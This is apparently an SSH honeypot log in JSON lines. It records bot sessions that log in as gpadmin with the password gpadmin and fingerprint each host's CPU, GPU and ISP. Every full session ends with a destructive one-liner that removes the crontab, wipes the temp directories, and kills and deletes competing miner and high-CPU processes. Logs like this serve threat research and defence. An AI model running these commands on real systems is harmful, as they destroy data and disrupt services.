a1)"},{"seq":11,"at":"2026-08-20T19:08:35.093955+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T19:08:39.398850+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T19:08:39.584246+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T19:08:42.989670+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T19:08:43.163112+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T19:08:47.494913+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T19:08:47.669729+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T19:08:50.208489+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T19:08:50.469612+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T19:08:56.312669+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T19:08:56.479170+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T19:09:02.154861+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T19:09:02.338285+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T19:09:06.704051+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T19:09:06.880710+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T19:09:09.594527+00:00","kind":"input","latency_ms":null,"data":"echo gpadmin > /tmp/d.log"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"0bc1b159-4867-4b7b-abc5-ee4c58a94ca6","name":"gloomy-restless-pipit","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.66","src_port":38696,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T10:27:31.152138+00:00","ended_at":"2026-08-20T10:27:32.688541+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"3a1b867b-d5c9-4b2d-8105-8f2b99882ac3","name":"plush-shifting-oryx","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":52870,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":186,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:27:30.696089+00:00","ended_at":"2026-08-20T10:27:32.687785+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1514,"events":[{"seq":1,"at":"2026-08-20T10:27:22.086594+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:27:22.094191+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:27:22.256319+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:27:22.635470+00:00","kind":"output","latency_ms":null,"data":""},{"seq":5,"at":"2026-08-20T10:27:22.797458+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:27:23.703820+00:00","kind":"output","latency_ms":905,"data":"7:17 up"},{"seq":7,"at":"2026-08-20T10:27:23.911771+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T10:27:23.912301+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T10:27:24.081555+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T10:27:24.527969+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":11,"at":"2026-08-20T10:27:24.713719+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T10:27:25.211241+00:00","kind":"output","latency_ms":497,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T10:27:25.388579+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T10:27:26.103886+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-20T10:27:26.626665+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T10:27:27.162690+00:00","kind":"output","latency_ms":535,"data":"nvidia-smi: command not found"},{"seq":17,"at":"2026-08-20T10:27:27.414433+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T10:27:28.054772+00:00","kind":"output","latency_ms":639,"data":"bash: nvidia-smi: command not found"},{"seq":19,"at":"2026-08-20T10:27:28.218939+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T10:27:28.782588+00:00","kind":"output","latency_ms":563,"data":"0"},{"seq":21,"at":"2026-08-20T10:27:28.970483+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T10:27:29.401464+00:00","kind":"output","latency_ms":null,"data":""},{"seq":23,"at":"2026-08-20T10:27:29.872727+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T10:27:30.356452+00:00","kind":"output","latency_ms":483,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T10:27:30.536625+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T10:27:30.696817+00:00","kind":"input","latency_ms":null,"data":"echo gpadmin > /tmp/d.log"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}